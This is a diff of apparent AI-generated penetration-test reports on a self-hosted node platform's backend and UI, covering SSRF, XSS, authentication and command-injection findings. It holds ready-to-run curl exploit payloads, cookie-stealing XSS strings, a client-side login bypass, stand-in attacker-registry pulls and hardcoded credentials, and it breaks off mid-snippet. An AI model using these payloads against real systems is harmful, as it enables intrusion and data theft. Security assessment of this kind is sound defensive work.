"type": "command_injection",
|
||||
"endpoint": "podman --health-cmd (via package.install)",
|
||||
"parameter": "bitcoin RPC password from secrets file",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "Write shell metacharacters to /var/lib/archipelago/secrets/bitcoin-rpc-password then restart bitcoin container"
|
||||
},
|
||||
{
|
||||
"id": "INJ-006",
|
||||
"type": "command_injection",
|
||||
"endpoint": "podman exec (via health_monitor)",
|
||||
"parameter": "HealthCheck.endpoint from manifest",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "Modify app manifest health check endpoint to contain shell commands"
|
||||
},
|
||||
{
|
||||
"id": "INJ-007",
|
||||
"type": "command_injection",
|
||||
"endpoint": "parmanode script runner",
|
||||
"parameter": "script file content + /tmp TOCTOU",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "Race condition: replace /tmp/parmanode-*.sh between write and podman mount"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
@@ -2,211 +2,35 @@
|
||||
"findings": [
|
||||
{
|
||||
"id": "XSS-001",
|
||||
"type": "stored_xss",
|
||||
"endpoint": "/archipelago/node-message",
|
||||
"parameter": "message, from_pubkey",
|
||||
"type": "dom_based_xss_iframe_src_injection",
|
||||
"endpoint": "/app/:appId",
|
||||
"parameter": "path (query)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"\\\" onfocus=alert(1) autofocus=\\\"\",\"message\":\"<img src=x onerror=alert(document.cookie)>\"}'"
|
||||
"payload_suggestion": "/app/indeedhub?path=%23<img+onerror=alert(1)+src=x>"
|
||||
},
|
||||
{
|
||||
"id": "XSS-002",
|
||||
"type": "dom_xss_postmessage",
|
||||
"endpoint": "AppLauncherOverlay.vue (client-side)",
|
||||
"parameter": "postMessage event.data.type",
|
||||
"type": "dom_based_xss_javascript_uri_redirect",
|
||||
"endpoint": "/login",
|
||||
"parameter": "redirect (query)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')"
|
||||
"payload_suggestion": "/login?redirect=javascript:alert(document.cookie)"
|
||||
},
|
||||
{
|
||||
"id": "XSS-003",
|
||||
"type": "dom_xss_postmessage",
|
||||
"endpoint": "Settings.vue (client-side)",
|
||||
"parameter": "postMessage event.data.type",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')"
|
||||
"type": "dom_based_cross_origin_message_injection",
|
||||
"endpoint": "postMessage handler (NIP-07)",
|
||||
"parameter": "event.data (nostr-request)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "window.parent.postMessage({type:'nostr-request',id:'1',method:'getPublicKey'},'*')"
|
||||
},
|
||||
{
|
||||
"id": "XSS-004",
|
||||
"type": "missing_csp_headers",
|
||||
"endpoint": "All responses (nginx)",
|
||||
"parameter": "Content-Security-Policy, X-Frame-Options",
|
||||
"type": "weak_csp_unsafe_inline",
|
||||
"endpoint": "all pages (nginx)",
|
||||
"parameter": "n/a",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "No CSP set \u2014 any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security"
|
||||
},
|
||||
{
|
||||
"id": "XSS-005",
|
||||
"type": "reflected_xss_json",
|
||||
"endpoint": "/rpc/v1 (method: echo)",
|
||||
"parameter": "params.message",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"<script>alert(1)</script>\"}}'"
|
||||
},
|
||||
{
|
||||
"id": "XSS-006",
|
||||
"type": "dom_xss_postmessage",
|
||||
"endpoint": "/test-aiui.html",
|
||||
"parameter": "postMessage event.data",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '<img src=x onerror=alert(1)>' }, '*')"
|
||||
},
|
||||
{
|
||||
"id": "XSS-007",
|
||||
"type": "cors_wildcard_xss_enabler",
|
||||
"endpoint": "All backend endpoints",
|
||||
"parameter": "Access-Control-Allow-Origin: *",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:'<script>alert(1)</script>'})})"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-001",
|
||||
"type": "missing_session_management",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.login",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' \u2014 observe null response with no Set-Cookie header"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-002",
|
||||
"type": "missing_authorization",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' \u2014 returns node identity without auth"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-003",
|
||||
"type": "brute_force_no_protection",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.login, password",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit \u2014 bcrypt provides ~100ms delay per attempt"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-004",
|
||||
"type": "default_credentials",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.login, password=password123",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-005",
|
||||
"type": "client_side_auth_bypass",
|
||||
"endpoint": "/dashboard",
|
||||
"parameter": "localStorage['neode-auth']",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' \u2014 full UI access without login"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-006",
|
||||
"type": "session_invalidation_failure",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.logout",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "Logout is a no-op returning null \u2014 no server-side session to invalidate"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-007",
|
||||
"type": "unauthenticated_websocket",
|
||||
"endpoint": "/ws/db",
|
||||
"parameter": "N/A",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "wscat -c ws://192.168.1.228/ws/db \u2014 receives full server state dump including node identity, Tor address, and all package states"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-008",
|
||||
"type": "message_spoofing",
|
||||
"endpoint": "/archipelago/node-message",
|
||||
"parameter": "from_pubkey, message",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-009",
|
||||
"type": "cors_wildcard",
|
||||
"endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
|
||||
"parameter": "Access-Control-Allow-Origin: *",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) \u2014 succeeds cross-origin"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-010",
|
||||
"type": "weak_password_policy",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "method=auth.setup (frontend only), password",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-011",
|
||||
"type": "unauthenticated_ssrf_proxy",
|
||||
"endpoint": "/proxy/lnd/*",
|
||||
"parameter": "path suffix",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo \u2014 accesses LND REST API without authentication"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-012",
|
||||
"type": "unauthenticated_data_access",
|
||||
"endpoint": "/api/container/logs",
|
||||
"parameter": "app_id, lines",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' \u2014 reads container logs without auth"
|
||||
},
|
||||
{
|
||||
"id": "AUTH-013",
|
||||
"type": "disconnected_auth_infrastructure",
|
||||
"endpoint": "N/A (architectural)",
|
||||
"parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-001",
|
||||
"type": "blind_ssrf_via_tor_proxy",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "params.onion (method: node-check-peer)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-002",
|
||||
"type": "ssrf_via_tor_proxy_with_data_exfil",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "params.onion (method: node-send-message)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-003",
|
||||
"type": "internal_service_proxy",
|
||||
"endpoint": "/proxy/lnd/{path}",
|
||||
"parameter": "URL path suffix",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-004",
|
||||
"type": "ssrf_via_container_registry_pull",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "params.dockerImage (method: package.install)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-005",
|
||||
"type": "full_arbitrary_url_fetch",
|
||||
"endpoint": "marketplace.get (INACTIVE - startos codebase)",
|
||||
"parameter": "url",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-006",
|
||||
"type": "config_driven_websocket_ssrf",
|
||||
"endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
|
||||
"parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
|
||||
"payload_suggestion": "n/a - amplification factor, not direct XSS"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,218 +1,18 @@
|
||||
The backend appears to be down currently. The analysis is based on thorough source code review. Let me compile the full findings.
|
||||
## SSRF Analysis Complete
|
||||
|
||||
---
|
||||
Found **5 SSRF vulnerabilities** across the Archipelago backend:
|
||||
|
||||
# SSRF Vulnerability Analysis — Archipelago
|
||||
### Critical (2)
|
||||
- **SSRF-001**: `backup.upload-s3` — user-supplied `endpoint` URL passed directly to `reqwest` PUT with zero validation. Can reach any internal service (Bitcoin RPC, LND, Grafana). Response status + partial body leaked in errors.
|
||||
- **SSRF-002**: `backup.download-s3` — same pattern but GET, with **full response body saved to disk** and retrievable via backup APIs. Most dangerous finding — enables complete exfiltration of any internal HTTP endpoint.
|
||||
|
||||
## Summary
|
||||
### High (1)
|
||||
- **SSRF-003**: `identity.resolve-name` (NIP-05) — user-controlled `domain` in `user@domain` identifier causes HTTPS GET to arbitrary domain. HTTPS-only limits impact but enables DNS rebinding, IP disclosure, and partial response exfiltration.
|
||||
|
||||
I analyzed the entire codebase for SSRF vulnerabilities across the Rust backend (`core/archipelago/`), nginx configuration, Vite dev proxy, and the `core/startos/` (inactive) codebase. The active backend has **3 confirmed SSRF vectors** and **1 dormant but critical one** in unreachable code.
|
||||
### Medium (1)
|
||||
- **SSRF-004**: `content.download-peer` / `content.browse-peer` — weak `.onion` validation (suffix check only vs. strict 56-char base32 in `node_message.rs`). Mitigated by Tor SOCKS proxy which rejects invalid addresses, but defense-in-depth failure.
|
||||
|
||||
---
|
||||
### Low (1)
|
||||
- **SSRF-005**: `webhook.configure` — private IP validation exists but bypassed in dev mode, missing `0.0.0.0`, no DNS rebinding protection, no redirect protection.
|
||||
|
||||
## SSRF-001: Blind SSRF via `node-check-peer` (Missing Onion Validation)
|
||||
|
||||
**Type**: Direct SSRF via Tor SOCKS5 proxy
|
||||
**Location**: `POST /rpc/v1` → method `node-check-peer`
|
||||
**Parameter**: `onion`
|
||||
**Source file**: `core/archipelago/src/node_message.rs:115-133`
|
||||
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:69-80`
|
||||
|
||||
**Evidence**: `check_peer_reachable()` accepts the `onion` parameter and constructs an HTTP URL **without calling `validate_onion()`**, unlike `send_to_peer()` which does validate. The function:
|
||||
|
||||
1. Takes any string as `onion` (line 115)
|
||||
2. Appends `.onion` if needed (lines 116-120)
|
||||
3. Constructs `http://{host}/health` (line 121)
|
||||
4. Sends via `socks5h://127.0.0.1:9050` Tor proxy (lines 122-127)
|
||||
5. Returns boolean success/failure to the caller (line 130)
|
||||
|
||||
Since there's no validation, an attacker can inject port numbers and URL components. For example, `onion: "validbase32chars.onion:9999"` results in a request to port 9999. The `socks5h://` protocol delegates DNS to Tor, and the response status is leaked via the boolean.
|
||||
|
||||
Additionally, this endpoint has **zero authentication** and **CORS wildcard** (`Access-Control-Allow-Origin: *`), enabling drive-by SSRF from any website.
|
||||
|
||||
**Confidence**: HIGH
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
curl -X POST http://TARGET/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}'
|
||||
```
|
||||
Response `{"result":{"reachable":true/false}}` confirms the server made an outbound request via Tor to the specified .onion address.
|
||||
|
||||
---
|
||||
|
||||
## SSRF-002: SSRF via `node-send-message` (Validated but Still Exploitable)
|
||||
|
||||
**Type**: Direct SSRF via Tor SOCKS5 proxy
|
||||
**Location**: `POST /rpc/v1` → method `node-send-message`
|
||||
**Parameter**: `onion`
|
||||
**Source file**: `core/archipelago/src/node_message.rs:66-112`
|
||||
**RPC handler**: `core/archipelago/src/api/rpc/peers.rs:50-67`
|
||||
|
||||
**Evidence**: `send_to_peer()` calls `validate_onion()` (line 67), which checks: 56 chars of base32 (`a-z2-7`). This limits the SSRF to valid Tor v3 onion format, but:
|
||||
|
||||
1. Any valid-format onion address gets an HTTP POST with a JSON body (lines 74-79)
|
||||
2. The request includes the node's own public key in the body (`from_pubkey`)
|
||||
3. The response error messages are returned to the caller, leaking connection details
|
||||
4. No rate limiting — can probe many .onion addresses rapidly
|
||||
|
||||
The validation prevents port injection but NOT arbitrary .onion targeting. An attacker can force the server to POST to any Tor hidden service.
|
||||
|
||||
**Confidence**: HIGH
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
curl -X POST http://TARGET/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"node-send-message","params":{"onion":"ATTACKER_ONION_56_CHARS","message":"probe"}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## SSRF-003: LND REST Proxy — Unauthenticated Internal Service Access
|
||||
|
||||
**Type**: Internal service proxy / partial SSRF
|
||||
**Location**: `GET /proxy/lnd/{path}` on port 5678
|
||||
**Parameter**: URL path after `/proxy/lnd`
|
||||
**Source file**: `core/archipelago/src/api/handler.rs:158-188`
|
||||
|
||||
**Evidence**: The handler strips `/proxy/lnd` from the path and constructs `http://127.0.0.1:8080{suffix}`, then performs `reqwest::get(&url)` and returns the full response including body and Content-Type. The host is hardcoded to `127.0.0.1:8080`, so this is limited to accessing localhost port 8080.
|
||||
|
||||
Key concerns:
|
||||
- **No authentication** on the proxy endpoint
|
||||
- **Full path control** — any LND REST API endpoint is accessible
|
||||
- **Response body returned** — not blind, the attacker gets full response content
|
||||
- Port 8080 is shared: LND REST API AND the endurain app run on this port (per nginx config)
|
||||
- Backend binds to `0.0.0.0:5678` by default (`config.rs:193`), though the proxy through nginx serves SPA HTML instead (nginx falls through to `try_files`)
|
||||
|
||||
**Confidence**: MEDIUM (host is hardcoded; exploitability depends on whether port 5678 is directly reachable or if nginx can be configured to proxy this path)
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
# Direct to backend (if port 5678 is reachable)
|
||||
curl http://TARGET:5678/proxy/lnd/v1/getinfo
|
||||
curl http://TARGET:5678/proxy/lnd/v1/balance/blockchain
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## SSRF-004: Container Image Pull — Arbitrary Registry Fetch
|
||||
|
||||
**Type**: Indirect SSRF via container registry pull
|
||||
**Location**: `POST /rpc/v1` → method `package.install`
|
||||
**Parameter**: `dockerImage`
|
||||
**Source file**: `core/archipelago/src/api/rpc/package.rs:9-84`
|
||||
|
||||
**Evidence**: The `handle_package_install` handler accepts a `dockerImage` parameter, validates it only against shell injection characters (`is_valid_docker_image()` at line 786), then runs `podman pull {image}` (line 60). The validation blacklist is:
|
||||
|
||||
```rust
|
||||
let dangerous_chars = ['&', '|', ';', '`', '$', '(', ')', '<', '>', '\n', '\r'];
|
||||
```
|
||||
|
||||
This allows arbitrary registry URLs like `attacker.com/malicious:latest` or `registry.evil.com:5000/image:tag`. The server makes HTTPS requests to the specified registry to pull manifest and image layers.
|
||||
|
||||
**Confidence**: HIGH
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
curl -X POST http://TARGET/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"package.install","params":{"id":"test","dockerImage":"attacker-registry.com/probe:latest"}}'
|
||||
```
|
||||
The server will connect to `attacker-registry.com` to pull the image, confirming outbound SSRF.
|
||||
|
||||
---
|
||||
|
||||
## SSRF-005: Dormant Full SSRF in `marketplace.get` (Inactive Code)
|
||||
|
||||
**Type**: Full arbitrary URL fetch (NOT in active backend)
|
||||
**Location**: `core/startos/src/registry/marketplace.rs:38-92`
|
||||
**Parameter**: `url` (type `Url` — accepts any scheme/host)
|
||||
|
||||
**Evidence**: This is a **critical** SSRF — `marketplace.get` accepts a raw `Url` parameter and fetches it with the shared `reqwest::Client`, which has a Tor proxy for `.onion` addresses (`core/startos/src/context/rpc.rs:222-231`). No URL validation, no IP blocklist, supports `http://`, `https://`, potentially `file://`. Response content is returned in JSON/text/base64.
|
||||
|
||||
**However**, this module is in `core/startos/` which is **not compiled into the active `core/archipelago/` binary** (Cargo.toml has no startos dependency). The RPC route table in `core/archipelago/src/api/rpc/mod.rs` does not register `marketplace.get`.
|
||||
|
||||
**Confidence**: LOW (dormant code, not reachable on running server)
|
||||
**Note**: If this code is ever wired into the active backend, it becomes the most critical SSRF in the system.
|
||||
|
||||
---
|
||||
|
||||
## SSRF-006: Nostr Relay Connections — Config-Driven SSRF
|
||||
|
||||
**Type**: WebSocket SSRF via configuration
|
||||
**Location**: `POST /rpc/v1` → methods `node-nostr-discover`, `node.nostr-publish`
|
||||
**Source file**: `core/archipelago/src/nostr_discovery.rs:157-345`
|
||||
|
||||
**Evidence**: Relay URLs from `config.nostr_relays` (populated from `ARCHIPELAGO_NOSTR_RELAYS` env var, default: `wss://relay.damus.io`, `wss://relay.nostr.info`) are passed to `client.add_relay(url)` without validation. When Tor proxy is configured (default: `127.0.0.1:9050`), all relay connections route through Tor.
|
||||
|
||||
Not directly user-controllable via RPC (relays come from config), but if an attacker can modify environment variables or the config file, they can redirect Nostr connections to arbitrary WebSocket endpoints.
|
||||
|
||||
**Confidence**: LOW (requires configuration access)
|
||||
|
||||
---
|
||||
|
||||
## Additional Observations
|
||||
|
||||
| Factor | Detail |
|
||||
|--------|--------|
|
||||
| **CORS wildcard** | All backend responses include `Access-Control-Allow-Origin: *` (handler.rs:15), enabling drive-by SSRF from any website |
|
||||
| **No authentication** | RPC API has zero auth middleware — all SSRF endpoints callable by anyone on the network |
|
||||
| **Nginx proxy exposure** | `/aiui/api/claude/` → Claude proxy (3141), `/aiui/api/openrouter/` → OpenRouter API, `/aiui/api/web-search` → SearXNG (8888). These are fixed-target proxies, not user-controllable SSRF, but enable unauthenticated access to internal services |
|
||||
| **TLS verification disabled** | LND client uses `danger_accept_invalid_certs(true)` (lnd.rs:56) |
|
||||
| **Hardcoded credentials** | Bitcoin RPC: `archipelago:archipelago123` (bitcoin.rs:89, electrs_status.rs:17) |
|
||||
|
||||
---
|
||||
|
||||
```json
|
||||
{
|
||||
"category": "ssrf",
|
||||
"findings": [
|
||||
{
|
||||
"id": "SSRF-001",
|
||||
"type": "blind_ssrf_via_tor_proxy",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "params.onion (method: node-check-peer)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-002",
|
||||
"type": "ssrf_via_tor_proxy_with_data_exfil",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "params.onion (method: node-send-message)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-003",
|
||||
"type": "internal_service_proxy",
|
||||
"endpoint": "/proxy/lnd/{path}",
|
||||
"parameter": "URL path suffix",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-004",
|
||||
"type": "ssrf_via_container_registry_pull",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "params.dockerImage (method: package.install)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-005",
|
||||
"type": "full_arbitrary_url_fetch",
|
||||
"endpoint": "marketplace.get (INACTIVE - startos codebase)",
|
||||
"parameter": "url",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
|
||||
},
|
||||
{
|
||||
"id": "SSRF-006",
|
||||
"type": "config_driven_websocket_ssrf",
|
||||
"endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
|
||||
"parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
|
||||
"confidence": "low",
|
||||
"payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Report written to `loop/pentest/analysis/ssrf.md`.
|
||||
@@ -1,179 +1,28 @@
|
||||
I now have all the data needed. Let me compile the comprehensive XSS analysis.
|
||||
## XSS Analysis Complete
|
||||
|
||||
---
|
||||
Written to `loop/pentest/analysis/xss.md`. Here's the summary:
|
||||
|
||||
# XSS Vulnerability Analysis — Archipelago (192.168.1.228)
|
||||
### 4 Findings
|
||||
|
||||
## Methodology
|
||||
| ID | Type | Location | Confidence |
|
||||
|---|---|---|---|
|
||||
| **XSS-001** | DOM-based iframe src injection | `AppSession.vue:399-418` — `?path=` query param concatenated to iframe src without validation | Medium |
|
||||
| **XSS-002** | DOM-based javascript: URI redirect | `Login.vue:220,384-386` — `?redirect=` flows to `window.location.href` in catch handler | Medium |
|
||||
| **XSS-003** | Cross-origin message injection | `appLauncher.ts:192-284` — NIP-07 postMessage handler has **zero origin validation**, responses sent with `'*'` | **High** |
|
||||
| **XSS-004** | Weak CSP (amplification) | `nginx-archipelago.conf:20` — `script-src 'self' 'unsafe-inline'` disables CSP as XSS defense | High |
|
||||
|
||||
Source code review of the full stack: Rust backend (`core/`), Vue 3 frontend (`neode-ui/src/`), Nginx configs (`image-recipe/configs/`), and static HTML files. Searched for all XSS sinks (v-html, innerHTML, document.write, eval), DOM-based sources (location, postMessage), stored content rendering, and missing security headers.
|
||||
### Most Critical: XSS-003
|
||||
|
||||
---
|
||||
The NIP-07 handler is the highest-risk finding. Any iframe (including the external HTTPS apps like botfights.net, nostrudel.ninja, etc.) can silently extract the user's Nostr public key without origin validation. The `contextBroker.ts` handler does this correctly — the `appLauncher.ts` handler does not, and sends responses with wildcard `'*'` origin.
|
||||
|
||||
## XSS-001 — Stored XSS via Unauthenticated P2P Node Messages
|
||||
**Type**: Stored XSS
|
||||
**Confidence**: Medium
|
||||
**Location**: `POST /archipelago/node-message` → rendered in Web5.vue and App.vue toast
|
||||
### No Reflected or Stored XSS Found
|
||||
|
||||
**Source files**:
|
||||
- Backend intake: `core/archipelago/src/api/handler.rs:125-145` — no auth, no sanitization
|
||||
- Backend storage: `core/archipelago/src/node_message.rs:26-37` — raw string stored as-is
|
||||
- Frontend display (messages): `neode-ui/src/views/Web5.vue:405` — `{{ m.message }}`
|
||||
- Frontend display (toast): `neode-ui/src/App.vue:52` — `{{ toastMessage.text }}`
|
||||
- Toast data source: `neode-ui/src/composables/useMessageToast.ts:39` — `latest?.message`
|
||||
|
||||
**Evidence**: The `/archipelago/node-message` endpoint accepts arbitrary JSON with `from_pubkey` and `message` fields — no authentication, no input validation, no HTML sanitization. Messages are stored in memory and returned verbatim via the `node-messages-received` RPC method. The frontend renders messages using Vue's `{{ }}` text interpolation, which **does** escape HTML by default. However:
|
||||
|
||||
1. The toast at `App.vue:52` renders the raw message text as a notification preview — if Vue's escaping were ever bypassed (e.g., a future refactor introduces `v-html`), this becomes immediately exploitable
|
||||
2. The `:title` attribute binding at `Web5.vue:402` (`<p ... :title="m.from_pubkey">`) accepts the unsanitized pubkey — attribute injection is possible with crafted pubkey values
|
||||
3. Combined with **CORS wildcard** (`Access-Control-Allow-Origin: *` on all endpoints), any website can inject messages via a drive-by attack
|
||||
|
||||
**Why medium, not high**: Vue's `{{ }}` escaping prevents current exploitation. But the complete absence of server-side sanitization means any rendering change (or alternative client) would be immediately vulnerable.
|
||||
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
curl -X POST http://192.168.1.228/archipelago/node-message \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## XSS-002 — postMessage Origin Bypass in AppLauncherOverlay
|
||||
**Type**: DOM-based XSS (postMessage sink)
|
||||
**Confidence**: Medium
|
||||
**Location**: `neode-ui/src/components/AppLauncherOverlay.vue:125,147-150`
|
||||
|
||||
**Source file**: `neode-ui/src/components/AppLauncherOverlay.vue`
|
||||
|
||||
**Evidence**:
|
||||
- Line 125: `window.parent.postMessage({ type: 'app-launcher-escape' }, '*')` — sends to ANY origin
|
||||
- Lines 147-150: Receives messages with **no origin validation**:
|
||||
```typescript
|
||||
function onMessage(e: MessageEvent) {
|
||||
if (e.data?.type === 'app-launcher-escape' && store.isOpen) {
|
||||
store.close()
|
||||
}
|
||||
}
|
||||
```
|
||||
- Any page embedding the Archipelago UI (or any malicious iframe loaded into the app launcher) can trigger the close action. The impact is UI manipulation only (closing the app launcher), but this pattern demonstrates missing origin checks that could be exploited if more actions are added.
|
||||
|
||||
**Suggested exploit**: From a malicious page iframed into the app launcher:
|
||||
```javascript
|
||||
window.parent.postMessage({ type: 'app-launcher-escape' }, '*')
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## XSS-003 — postMessage Origin Bypass in Claude Auth Handler
|
||||
**Type**: DOM-based XSS (postMessage sink)
|
||||
**Confidence**: Medium
|
||||
**Location**: `neode-ui/src/views/Settings.vue:442-448`
|
||||
|
||||
**Source file**: `neode-ui/src/views/Settings.vue`
|
||||
|
||||
**Evidence**:
|
||||
```typescript
|
||||
function handleClaudeLoginMessage(e: MessageEvent) {
|
||||
if (e.data?.type === 'claude-auth-success') {
|
||||
claudeConnected.value = true
|
||||
showClaudeLoginModal.value = false
|
||||
window.removeEventListener('message', handleClaudeLoginMessage)
|
||||
}
|
||||
}
|
||||
```
|
||||
No `e.origin` validation. Any iframe or window (including apps loaded in the app launcher) can send `{ type: 'claude-auth-success' }` to spoof the Claude connection state. This is UI spoofing — the user sees "Claude Connected" when it's not authenticated.
|
||||
|
||||
**Suggested exploit**:
|
||||
```javascript
|
||||
// From any page loaded in the same browsing context
|
||||
